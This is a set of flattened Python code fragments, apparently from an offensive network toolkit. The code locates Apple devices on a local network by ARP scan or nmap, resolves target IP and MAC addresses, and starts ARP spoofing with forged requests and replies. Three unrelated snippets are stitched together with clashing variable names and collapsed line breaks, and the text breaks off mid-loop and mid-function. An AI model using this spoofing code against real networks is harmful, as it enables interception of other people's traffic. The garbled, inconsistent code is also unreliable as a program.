# region Find Apple devices in local network with ArpScan or nmap if args.target_ip is None: if not args.nmap_scan: Base.print_info("ARP scan is running ...") apple_devices = Scanner.find_apple_devices_by_mac(listen_network_interface) else: Base.print_info("NMAP scan is running ...") apple_devices = Scanner.find_apple_devices_with_nmap(listen_network_interface) apple_device = Scanner.apple_device_selection(apple_devices) # endregion # region Find Mac address of Apple device if target IP is set if args.target_ip is not None: Base.print_info("Search MAC address of Apple device with IP address: ", target_ip, " ...") target_mac = ArpScan.get_mac_address(listen_network_interface, target_ip) if target_mac == "ff:ff:ff:ff:ff:ff": Base.print_error("Could not find device MAC address with IP address: ", target_ip) exit(1) else: apple_device = [target_ip, target_mac] # endregion # region Apple devices are found if len(apple_device) > 0: # region Output target IP and MAC address target_ip_address = apple_device[0] target_mac_address = apple_device[1] Base.print_info("Target: ", target_ip_address + " (" + target_mac_address + ")")
current_device_index = int(current_device_index) - 1 device = results[current_device_index] target_ip_address = device['ip-address'] target_mac_address = device['mac-address'] Base.print_info("Target IP address: ", target_ip_address) Base.print_info("Target MAC address: ", target_mac_address) else: if not Base.ip_address_in_range(args.target_ip, first_ip_address, last_ip_address): Base.print_error("Bad value `-t, --target_ip`: ", args.target_ip, "; Target IP address must be in range: ", first_ip_address + " - " + last_ip_address) exit(1) else: target_ip_address = args.target_ip Base.print_info("Get MAC address of IP: ", target_ip_address) target_mac_address = arp_scan.get_mac_address(network_interface, target_ip_address) if target_mac_address == "ff:ff:ff:ff:ff:ff": Base.print_error("Could not find device MAC address with IP address: ", target_ip_address) exit(1) else: Base.print_success("Find target: ", target_ip_address + " (" + target_mac_address + ")") # endregion # region Main function if __name__ == "__main__": try: # region ARP spoofing with ARP requests if args.requests: Base.print_info("Send ARP requests to: ", target_ip_address + " (" + target_mac_address + ")") Base.print_info("Start ARP spoofing ...") while True:
# endregion # region Set target IP and MAC address _target_ip_address = None if Base.ip_address_validation(args.target_ip): _target_ip_address = args.target_ip else: Base.print_error("Wrong target IP address: ", args.target_ip) exit(1) _target_mac_address = None if args.target_mac is not None: _target_mac_address = args.target_mac else: Base.print_info("Get MAC address of IP: ", _target_ip_address) _target_mac_address = ArpScan.get_mac_address(_current_network_interface, _target_ip_address) if _target_mac_address == "ff:ff:ff:ff:ff:ff": Base.print_error("Could not find device MAC address with IP address: ", _target_ip_address) exit(1) else: Base.print_success( "Find target: ", _target_ip_address + " (" + _target_mac_address + ")") # endregion # region Send ARP reply packets def send_arp_reply(request): global _target_ip_address global _target_mac_address